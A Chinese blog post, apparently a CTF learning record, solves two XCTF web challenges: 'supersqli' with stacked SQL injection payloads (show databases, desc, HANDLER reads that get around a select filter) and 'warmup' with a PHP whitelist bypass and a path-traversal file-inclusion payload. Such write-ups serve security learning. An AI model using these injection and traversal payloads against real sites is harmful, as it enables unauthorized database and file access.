您当前的位置: 首页 >  ar

九枕

暂无认证

  • 0浏览

    0关注

    42博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

【攻防世界】学习记录-web(系数2 part 2)

九枕 发布时间:2022-08-24 15:30:00 ,浏览量:0

目录
    • 0718 supersqli
    • 0743 warmup

0718 supersqli

题目:强网杯2019 解答:测试闭合,单引号报错。 在这里插入图片描述

完整闭合:1'||'1,而且从输出的内容确定是两段。 在这里插入图片描述

注入发现给出过滤内容:不能用select了。 在这里插入图片描述

那么考虑堆叠注入。

获取数据库:1';show databases;# 在这里插入图片描述

获取表:1';show tables;# 在这里插入图片描述

获取列:

1';desc `1919810931114514`;#

在这里插入图片描述

获取信息:

';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;#

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

在这里插入图片描述

0743 warmup

题目:HCTF 2018 解答:查看源码发现source.php。 在这里插入图片描述

源码:

 "source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "";
    }  
?> 

根据代码,我们先看一下hint.php的内容,给了flag的名字。 在这里插入图片描述

继续分析,通过代码可知,我们需要让checkFile返回true,其中有三次可以返回true的判断。

一次是直接判断是否有在白名单里,后两次都是截取问号前的内容再次判断是否在白名单里,判断一次截断一次,一共截断两次。

我们要实现文件包含,所以,第一个机会pass,思考第二次机会。

?file=source.php?/../../../../ffffllllaaaagggg 这样问号前就有白名单的内容了,也就绕过了判断。 在这里插入图片描述

这里其实是利用了路径穿越。

emmm忘记那个名词是什么了,暂且就称之垃圾目录吧(知道专业说法的,希望纠正一下我),就是source.php?可以视为一个垃圾目录,它并不存在,但存在路径里。

虽然并不存在,但是include在读取的时候并不会去确认目录是否存在,而是最后通过路径确定是否能找到对应的文件,所以这里穿越了哪些目录呢?

网站根目录是/var/www/html这应该都知道,所以至少要有三个../才能访问到根目录,payload里还多的一个../就是为了穿越那个垃圾目录source.php?

所以上面算是路径穿越最短的了,还可以再加../,不过就无所谓了,最少要有4个。

关注
打赏
1662624000
查看更多评论
立即登录/注册

微信扫码登录

0.0431s